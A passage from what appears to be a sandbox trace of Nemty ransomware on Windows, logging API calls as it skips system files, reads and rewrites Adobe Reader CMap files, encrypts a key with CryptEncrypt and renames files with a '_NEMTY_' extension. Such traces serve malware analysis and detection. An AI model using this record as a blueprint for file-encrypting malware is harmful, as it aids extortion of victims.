lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.628] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0206.634] CloseHandle (hObject=0xffffffff) returned 0 [0206.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0206.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0206.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0206.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0206.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0206.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0206.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0206.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0206.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0206.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0206.634] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2c"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2c._nemty_kgobjgd_")) returned 0 [0206.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0206.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0206.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0206.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0206.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0206.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0206.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0206.634] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccf, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-V", cAlternateFileName="GBPC-E~4")) returned 1 [0206.634] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2=".") returned 1 [0206.634] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="..") returned 1 [0206.634] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="...") returned 1 [0206.634] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="windows") returned -1 [0206.634] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="$RECYCLE.BIN") returned 1 [0206.634] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="rsa") returned -1 [0206.634] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="NTDETECT.COM") returned -1 [0206.634] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="ntldr") returned -1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="MSDOS.SYS") returned -1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="IO.SYS") returned -1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="boot.ini") returned 1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="boot.ini") returned 1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="AUTOEXEC.BAT") returned 1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="ntuser.dat") returned -1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="desktop.ini") returned 1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="CONFIG.SYS") returned 1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="RECYCLER") returned -1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="BOOTSECT.BAK") returned 1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="bootmgr") returned 1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="programdata") returned -1 [0206.635] lstrcmpiW (lpString1="GBpc-EUC-V", lpString2="appdata") returned 1 [0206.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-V", lpUsedDefaultChar=0x0) returned 10 [0206.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0206.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-V", lpUsedDefaultChar=0x0) returned 10 [0206.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0206.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-V", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-V", lpUsedDefaultChar=0x0) returned 10 [0206.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-V", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-V", lpUsedDefaultChar=0x0) returned 10 [0206.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0206.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0206.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0206.636] Sleep (dwMilliseconds=0x5) [0206.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ecfa9f0, dwHighDateTime=0x1d561e8)) [0206.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ecfa9f0, dwHighDateTime=0x1d561e8)) [0206.651] GetLastError () returned 0x5 [0206.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0206.651] GetLastError () returned 0x5 [0206.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0206.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0206.651] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0206.651] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0206.652] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0206.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0206.652] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="SWDUJDyxlUK+5FZjTU7gdBhvOB+5HX5NRG/YyLFdUx4ngA4wGU0ugIy/pPkHSZhw\r\nu7ta90uxMSjKm6k4w7I7c6KQ0LZ07HdlsdYV1MExBM26gLbYrqipNYFfpSQgea/R\r\nTi10bTm/hhZ5gCA+a4CgGP84lgLddQJvB1+YXiaiQkl30ZNK5ezZ+kgxm8aSBAFY\r\n2GgNvN1bc/6QKVO+wms7ReD+eQ46LD/k1VVkjoxHhYJvskElTqMrqorHi51KQqhh\r\n3Cb+GdOWPxuDS4AixgWBoJLZUyfL6wiiestyqGGjAuV6op6w77l31FLug1UXEjb/\r\nZO+h64qdKNSS6UYi6+zVWA==\r\n", pcchString=0x653e91c) returned 1 [0206.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0206.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0206.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0206.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0206.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0206.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0206.652] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0206.653] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0206.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0206.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.653] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.662] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.662] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.671] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.671] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, 